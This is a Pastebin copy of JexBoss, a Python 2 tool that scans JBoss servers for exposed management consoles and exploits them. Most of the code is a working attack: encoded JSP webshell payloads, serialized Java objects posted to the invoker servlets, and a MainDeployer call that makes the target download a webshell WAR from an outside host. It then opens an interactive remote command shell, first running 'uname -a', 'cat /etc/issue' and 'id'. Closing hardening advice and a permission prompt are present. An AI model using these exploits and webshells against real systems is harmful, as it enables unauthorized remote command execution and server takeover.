API tools faq
paste
Guest User

Untitled

a guest
Jun 19th, 2017
35
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.88 KB | None | 0 0
raw download clone embed print report
  1. # coding: utf-8
  2. # JexBoss v1.0. @autor: João Filho Matos Figueiredo (joaomatosf@gmail.com)
  3. # Updates: https://github.com/joaomatosf/jexboss
  4. # Free for distribution and modification, but the authorship should be preserved.
  5.  
  6.  
  7. import httplib, sys, urllib, os, time
  8. from urllib import urlencode
  9.  
  10. RED = '\x1b[91m'
  11. RED1 = '\033[31m'
  12. BLUE = '\033[94m'
  13. GREEN = '\033[32m'
  14. BOLD = '\033[1m'
  15. NORMAL = '\033[0m'
  16. ENDC = '\033[0m'
  17.  
  18. def getHost(url):
  19. tokens = url.split("://")
  20. if len(tokens) == 2: #foi fornecido protocolo
  21. return tokens[1].split(":")[0]
  22. else:
  23. return tokens.split(":")[0]
  24.  
  25. def getProtocol(url):
  26. tokens = url.split("://")
  27. if tokens[0] == "https":
  28. return "https"
  29. else:
  30. return "http"
  31.  
  32. def getPort(url):
  33. token = url[6:].split(":")
  34. if len(token) == 2:
  35. return token[1]
  36. elif getProtocol(url) == "https":
  37. return 443
  38. else:
  39. return 80
  40.  
  41. def getConnection(url):
  42. if getProtocol(url) == "https":
  43. return httplib.HTTPSConnection(getHost(url), getPort(url))
  44. else:
  45. return httplib.HTTPConnection(getHost(url), getPort(url))
  46.  
  47.  
  48. def getSuccessfully(url, path):
  49. result = 404
  50. time.sleep(5)
  51. conn = getConnection(url)
  52. conn.request("GET", path)
  53. result = conn.getresponse().status
  54. if result == 404:
  55. conn.close()
  56. time.sleep(7)
  57. conn = getConnection(url)
  58. conn.request("GET", path)
  59. result = conn.getresponse().status
  60. conn.close()
  61. return result
  62.  
  63. def checkVul(url):
  64.  
  65. print ( GREEN +" ** Checking Host: %s **\n" %url )
  66.  
  67. path = { "jmx-console" : "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
  68. "web-console" : "/web-console/ServerInfo.jsp",
  69. "JMXInvokerServlet" : "/invoker/JMXInvokerServlet"}
  70.  
  71. for i in path.keys():
  72. try:
  73. print GREEN + " * Checking %s: \t" %i + ENDC,
  74. conn = getConnection(url)
  75. conn.request("HEAD", path[i])
  76. path[i] = conn.getresponse().status
  77. if path[i] == 200 or path[i] == 500:
  78. print RED + "[ VULNERABLE ]" + ENDC
  79. else: print GREEN + "[ OK ]"
  80. conn.close()
  81. except:
  82. print RED + "\n * An error ocurred while contaction the host %s\n" %url + ENDC
  83. path[i] = 505
  84.  
  85. return path
  86.  
  87. def autoExploit(url, type):
  88.  
  89. # exploitJmxConsoleFileRepository: tested and working in jboss 4 and 5
  90. # exploitJmxConsoleMainDeploy: tested and working in jboss 4 and 6
  91. # exploitWebConsoleInvoker: tested and working in jboss 4
  92. # exploitJMXInvokerFileRepository: tested and working in jboss 4 and 5
  93.  
  94. print GREEN + ("\n * Sending exploit code to %s. Wait...\n" %url)
  95. result = 505
  96. if type == "jmx-console":
  97. result = exploitJmxConsoleFileRepository(url)
  98. if result != 200 and result != 500:
  99. result = exploitJmxConsoleMainDeploy(url)
  100. elif type == "web-console":
  101. result = exploitWebConsoleInvoker(url)
  102. elif type == "JMXInvokerServlet":
  103. result = exploitJMXInvokerFileRepository(url)
  104.  
  105. if result == 200 or result == 500:
  106. print GREEN + " * Successfully deployed code! Starting command shell, wait...\n" + ENDC
  107. shell_http(url, type)
  108. else:
  109. print (RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n"
  110. " Waiting for 7 seconds...\n "+ ENDC)
  111. time.sleep(7)
  112.  
  113. def shell_http(url, type):
  114. if type == "jmx-console" or type == "web-console":
  115. path = '/jbossass/jbossass.jsp?'
  116. elif type == "JMXInvokerServlet":
  117. path = '/shellinvoker/shellinvoker.jsp?'
  118.  
  119. conn = getConnection(url)
  120. conn.request("GET", path)
  121. conn.close()
  122. time.sleep(7)
  123. resp = ""
  124. #clear()
  125. print " * - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - * \n"
  126. print RED+" * "+url+": \n"+ENDC
  127. headers = {"User-Agent" : "jexboss"}
  128. for cmd in ['uname -a', 'cat /etc/issue', 'id']:
  129. conn = getConnection(url)
  130. cmd = urlencode({"ppp": cmd})
  131. conn.request("GET", path+cmd, '', headers)
  132. resp += " "+conn.getresponse().read().split(">")[1]
  133. print resp,
  134.  
  135. while 1:
  136. print BLUE + "[Type commands or \"exit\" to finish]"
  137. cmd=raw_input("Shell> "+ENDC)
  138. #print ENDC
  139. if cmd == "exit":
  140. break
  141. conn = getConnection(url)
  142. cmd = urlencode({"ppp": cmd})
  143. conn.request("GET", path+cmd, '', headers)
  144. resp = conn.getresponse()
  145. if resp.status == 404:
  146. print RED+ " * Error contacting the commando shell. Try again later..."
  147. conn.close()
  148. continue
  149. stdout = ""
  150. try:
  151. stdout = resp.read().split("pre>")[1]
  152. except:
  153. print RED+ " * Error contacting the commando shell. Try again later..."
  154. if stdout.count("An exception occurred processing JSP page") == 1:
  155. print RED + " * Error executing command \"%s\". " %cmd.split("=")[1] + ENDC
  156. else: print stdout,
  157. conn.close()
  158.  
  159. def exploitJmxConsoleMainDeploy(url):
  160. # MainDeployer
  161. # does not work in jboss5 (bug in jboss5)
  162. # shell in link
  163. # /jmx-console/HtmlAdaptor
  164. jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
  165. payload =( "/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service"
  166. "=MainDeployer&methodIndex=19&arg0="+jsp)
  167. print ( GREEN+ "\n * Info: This exploit will force the server to deploy the webshell "
  168. "\n available on: "+jsp +ENDC)
  169. conn = getConnection(url)
  170. conn.request("HEAD", payload)
  171. result = conn.getresponse().status
  172. conn.close()
  173. return getSuccessfully(url, "/jbossass/jbossass.jsp")
  174.  
  175. def exploitJmxConsoleFileRepository(url):
  176. # DeploymentFileRepository
  177. # tested and work in jboss4, 5.
  178. # doest not work in jboss6
  179. # shell jsp
  180. # /jmx-console/HtmlAdaptor
  181. jsp =("%3C%25%40%20%70%61%67%65%20%69%6D%70%6F%72%74%3D%22%6A%61%76%61"
  182. "%2E%75%74%69%6C%2E%2A%2C%6A%61%76%61%2E%69%6F%2E%2A%22%25%3E%3C"
  183. "%70%72%65%3E%3C%25%20%69%66%20%28%72%65%71%75%65%73%74%2E%67%65"
  184. "%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29%20%21%3D%20"
  185. "%6E%75%6C%6C%20%26%26%20%72%65%71%75%65%73%74%2E%67%65%74%48%65"
  186. "%61%64%65%72%28%22%75%73%65%72%2D%61%67%65%6E%74%22%29%2E%65%71"
  187. "%75%61%6C%73%28%22%6A%65%78%62%6F%73%73%22%29%29%20%7B%20%50%72"
  188. "%6F%63%65%73%73%20%70%20%3D%20%52%75%6E%74%69%6D%65%2E%67%65%74"
  189. "%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%72%65%71%75%65%73"
  190. "%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29"
  191. "%29%3B%20%44%61%74%61%49%6E%70%75%74%53%74%72%65%61%6D%20%64%69"
  192. "%73%20%3D%20%6E%65%77%20%44%61%74%61%49%6E%70%75%74%53%74%72%65"
  193. "%61%6D%28%70%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29"
  194. "%29%3B%20%53%74%72%69%6E%67%20%64%69%73%72%20%3D%20%64%69%73%2E"
  195. "%72%65%61%64%4C%69%6E%65%28%29%3B%20%77%68%69%6C%65%20%28%20%64"
  196. "%69%73%72%20%21%3D%20%6E%75%6C%6C%20%29%20%7B%20%6F%75%74%2E%70"
  197. "%72%69%6E%74%6C%6E%28%64%69%73%72%29%3B%20%64%69%73%72%20%3D%20"
  198. "%64%69%73%2E%72%65%61%64%4C%69%6E%65%28%29%3B%20%7D%20%7D%25%3E" )
  199.  
  200. payload =("/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service="
  201. "DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0="
  202. "jbossass.war&argType=java.lang.String&arg1=jbossass&argType=java.lang.St"
  203. "ring&arg2=.jsp&argType=java.lang.String&arg3="+jsp+"&argType=boolean&arg4=True")
  204.  
  205. conn = getConnection(url)
  206. conn.request("HEAD", payload)
  207. result = conn.getresponse().status
  208. conn.close()
  209. return getSuccessfully(url, "/jbossass/jbossass.jsp")
  210.  
  211. def exploitJMXInvokerFileRepository(url):
  212. # tested and work in jboss4, 5
  213. # MainDeploy, shell in data
  214. # /invoker/JMXInvokerServlet
  215. payload = ( "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73"
  216. "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72"
  217. "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f"
  218. "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77"
  219. "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76"
  220. "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2"
  221. "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75"
  222. "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e"
  223. "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00"
  224. "\x78\x70\xe3\x2c\x60\xe6\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62"
  225. "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d"
  226. "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc"
  227. "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x7a\x00\x00\x02\xc6"
  228. "\x00\x00\x02\xbe\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61"
  229. "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90"
  230. "\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04"
  231. "\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65"
  232. "\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f"
  233. "\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x2c\x6a"
  234. "\x62\x6f\x73\x73\x2e\x61\x64\x6d\x69\x6e\x3a\x73\x65\x72\x76\x69"
  235. "\x63\x65\x3d\x44\x65\x70\x6c\x6f\x79\x6d\x65\x6e\x74\x46\x69\x6c"
  236. "\x65\x52\x65\x70\x6f\x73\x69\x74\x6f\x72\x79\x78\x74\x00\x05\x73"
  237. "\x74\x6f\x72\x65\x75\x71\x00\x7e\x00\x00\x00\x00\x00\x05\x74\x00"
  238. "\x10\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72\x2e\x77\x61"
  239. "\x72\x74\x00\x0c\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72"
  240. "\x74\x00\x04\x2e\x6a\x73\x70\x74\x01\x79\x3c\x25\x40\x20\x70\x61"
  241. "\x67\x65\x20\x69\x6d\x70\x6f\x72\x74\x3d\x22\x6a\x61\x76\x61\x2e"
  242. "\x75\x74\x69\x6c\x2e\x2a\x2c\x6a\x61\x76\x61\x2e\x69\x6f\x2e\x2a"
  243. "\x22\x25\x3e\x3c\x70\x72\x65\x3e\x3c\x25\x69\x66\x28\x72\x65\x71"
  244. "\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d\x65\x74\x65"
  245. "\x72\x28\x22\x70\x70\x70\x22\x29\x20\x21\x3d\x20\x6e\x75\x6c\x6c"
  246. "\x20\x26\x26\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x48"
  247. "\x65\x61\x64\x65\x72\x28\x22\x75\x73\x65\x72\x2d\x61\x67\x65\x6e"
  248. "\x74\x22\x29\x2e\x65\x71\x75\x61\x6c\x73\x28\x22\x6a\x65\x78\x62"
  249. "\x6f\x73\x73\x22\x29\x20\x29\x20\x7b\x20\x50\x72\x6f\x63\x65\x73"
  250. "\x73\x20\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67\x65"
  251. "\x74\x52\x75\x6e\x74\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63\x28"
  252. "\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d"
  253. "\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x29\x3b\x20\x44\x61"
  254. "\x74\x61\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x20\x64\x69"
  255. "\x73\x20\x3d\x20\x6e\x65\x77\x20\x44\x61\x74\x61\x49\x6e\x70\x75"
  256. "\x74\x53\x74\x72\x65\x61\x6d\x28\x70\x2e\x67\x65\x74\x49\x6e\x70"
  257. "\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x29\x3b\x20\x53\x74\x72"
  258. "\x69\x6e\x67\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69\x73\x2e\x72"
  259. "\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x77\x68\x69\x6c\x65"
  260. "\x20\x28\x20\x64\x69\x73\x72\x20\x21\x3d\x20\x6e\x75\x6c\x6c\x20"
  261. "\x29\x20\x7b\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28"
  262. "\x64\x69\x73\x72\x29\x3b\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69"
  263. "\x73\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x7d\x20"
  264. "\x7d\x25\x3e\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67"
  265. "\x2e\x42\x6f\x6f\x6c\x65\x61\x6e\xcd\x20\x72\x80\xd5\x9c\xfa\xee"
  266. "\x02\x00\x01\x5a\x00\x05\x76\x61\x6c\x75\x65\x78\x70\x01\x75\x72"
  267. "\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74"
  268. "\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00"
  269. "\x78\x70\x00\x00\x00\x05\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61"
  270. "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00"
  271. "\x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65"
  272. "\x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"
  273. "\x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69"
  274. "\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61"
  275. "\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02"
  276. "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00"
  277. "\x00\x04\x70\x78")
  278. conn = getConnection(url)
  279. headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue",
  280. "Accept" : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}
  281. conn.request("POST", "/invoker/JMXInvokerServlet", payload, headers)
  282. response = conn.getresponse()
  283. result = response.status
  284. if result == 401:
  285. print " Retrying..."
  286. conn.close()
  287. conn.request("HEAD", "/invoker/JMXInvokerServlet", payload, headers)
  288. response = conn.getresponse()
  289. result = response.status
  290. if response.read().count("Failed") > 0:
  291. result = 505
  292. conn.close
  293. return getSuccessfully(url, "/shellinvoker/shellinvoker.jsp")
  294.  
  295. def exploitWebConsoleInvoker(url):
  296. # does not work in jboss5 (bug in jboss5)
  297. # MainDeploy, shell in link
  298. # /web-console/Invoker
  299. #jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
  300. #jsp = "\\x".join("{:02x}".format(ord(c)) for c in jsp)
  301. #jsp = "\\x" + jsp
  302. payload = ( "\xac\xed\x00\x05\x73\x72\x00\x2e\x6f\x72\x67\x2e"
  303. "\x6a\x62\x6f\x73\x73\x2e\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x72\x65"
  304. "\x6d\x6f\x74\x65\x2e\x52\x65\x6d\x6f\x74\x65\x4d\x42\x65\x61\x6e"
  305. "\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xe0\x4f\xa3\x7a\x74\xae"
  306. "\x8d\xfa\x02\x00\x04\x4c\x00\x0a\x61\x63\x74\x69\x6f\x6e\x4e\x61"
  307. "\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f"
  308. "\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x06\x70\x61\x72\x61\x6d\x73"
  309. "\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f"
  310. "\x62\x6a\x65\x63\x74\x3b\x5b\x00\x09\x73\x69\x67\x6e\x61\x74\x75"
  311. "\x72\x65\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67"
  312. "\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x10\x74\x61\x72\x67\x65"
  313. "\x74\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x74\x00\x1d\x4c\x6a"
  314. "\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2f"
  315. "\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x78\x70\x74\x00\x06"
  316. "\x64\x65\x70\x6c\x6f\x79\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61"
  317. "\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58"
  318. "\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"
  319. "\x2a"
  320. #link
  321. "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x6f\x61\x6f\x6d\x61"
  322. "\x74\x6f\x73\x66\x2e\x63\x6f\x6d\x2f\x72\x6e\x70\x2f\x6a\x62\x6f"
  323. "\x73\x73\x61\x73\x73\x2e\x77\x61\x72"
  324. #end
  325. "\x75\x72\x00\x13\x5b"
  326. "\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e"
  327. "\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00"
  328. "\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"
  329. "\x53\x74\x72\x69\x6e\x67\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e"
  330. "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63"
  331. "\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00"
  332. "\x78\x70\x74\x00\x21\x6a\x62\x6f\x73\x73\x2e\x73\x79\x73\x74\x65"
  333. "\x6d\x3a\x73\x65\x72\x76\x69\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65"
  334. "\x70\x6c\x6f\x79\x65\x72\x78")
  335. conn = getConnection(url)
  336. headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.console.remote.RemoteMBeanInvocation",
  337. "Accept" : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}
  338. conn.request("POST", "/web-console/Invoker", payload, headers)
  339. response = conn.getresponse()
  340. result = response.status
  341. if result == 401:
  342. print " Retrying..."
  343. conn.close()
  344. conn.request("HEAD", "/web-console/Invoker", payload, headers)
  345. response = conn.getresponse()
  346. result = response.status
  347. conn.close
  348. return getSuccessfully(url, "/jbossass/jbossass.jsp")
  349.  
  350.  
  351. def clear():
  352. if os.name == 'posix':
  353. os.system('clear')
  354. elif os.name == ('ce', 'nt', 'dos'):
  355. os.system('cls')
  356.  
  357. def checkArgs(args):
  358. if len(args) < 2 or args[1].count('.') < 1:
  359. return 1,"You must provide the host name or IP address you want to test."
  360. elif len(args[1].split('://')) == 1:
  361. return 2, 'Changing address "%s" to "http://%s"' %(args[1], args[1])
  362. elif args[1].count('http') == 1 and args[1].count('.') > 1:
  363. return 0, ""
  364. else:
  365. return 1, 'Parâmetro inválido'
  366.  
  367. def banner():
  368. clear()
  369. print (RED1+"\n * --- JexBoss: Jboss verify and EXploitation Tool --- *\n"
  370. " | |\n"
  371. " | @author: João Filho Matos Figueiredo |\n"
  372. " | @contact: joaomatosf@gmail.com |\n"
  373. " | |\n"
  374. " | @update: https://github.com/joaomatosf/jexboss |\n"
  375. " #______________________________________________________#\n\n" )
  376.  
  377. banner()
  378. # check python version
  379. if sys.version_info[0] == 3:
  380. print (RED + "\n * Not compatible with version 3 of python.\n"
  381. " Please run it with version 2.7 or lower.\n\n"
  382. +BLUE+" * Example:\n"
  383. " python2.7 " + sys.argv[0]+ " https://site.com\n\n"+ENDC )
  384. sys.exit(1)
  385.  
  386. # check Args
  387. status, message = checkArgs(sys.argv)
  388. if status == 0:
  389. url = sys.argv[1]
  390. elif status == 1:
  391. print RED + "\n * Error: %s" %message
  392. print BLUE + "\n Example:\n python %s https://site.com.br\n" %sys.argv[0] + ENDC
  393. sys.exit(status)
  394. elif status == 2:
  395. url = ''.join(['http://',sys.argv[1]])
  396.  
  397. # check vulnerabilities
  398. mapResult = checkVul(url)
  399.  
  400. # performs exploitation
  401. for i in ["jmx-console", "web-console", "JMXInvokerServlet"]:
  402. if mapResult[i] == 200 or mapResult[i] == 500:
  403. print BLUE + ("\n\n * Do you want to try to run an automated exploitation via \""+BOLD+i+NORMAL+"\" ?\n"
  404. " This operation will provide a simple command shell to execute commands on the server..\n"
  405. +RED+" Continue only if you have permission!" +ENDC)
  406. if raw_input(" yes/NO ? ").lower() == "yes":
  407. autoExploit(url, i)
  408.  
  409. # resume results
  410. if mapResult.values().count(200) > 0:
  411. banner()
  412. print RED+ " Results: potentially compromised server!" +ENDC
  413. print (GREEN+" * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n\n"
  414. " Recommendations: \n"
  415. " - Remove web consoles and services that are not used, eg:\n"
  416. " $ rm web-console.war\n"
  417. " $ rm http-invoker.sar\n"
  418. " $ rm jmx-console.war\n"
  419. " $ rm jmx-invoker-adaptor-server.sar\n"
  420. " $ rm admin-console.war\n"
  421. " - Use a reverse proxy (eg. nginx, apache, f5)\n"
  422. " - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"
  423. " - Search vestiges of exploitation within the directories \"deploy\" or \"management\".\n\n"
  424. " References:\n"
  425. " [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"
  426. " [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"
  427. "\n"
  428. " - If possible, discard this server!\n\n"
  429. " * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n" )
  430. elif mapResult.values().count(505) == 0:
  431. print ( GREEN+ "\n\n * Results: \n"
  432. " The server is not vulnerable to bugs tested ... :D\n\n" + ENDC)
  433.  
  434. # infos
  435. print (ENDC+" * Info: review, suggestions, updates, etc: \n"
  436. " https://github.com/joaomatosf/jexboss\n"
  437. " joaomatosf@gmail.com\n")
  438.  
  439. print ENDC
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!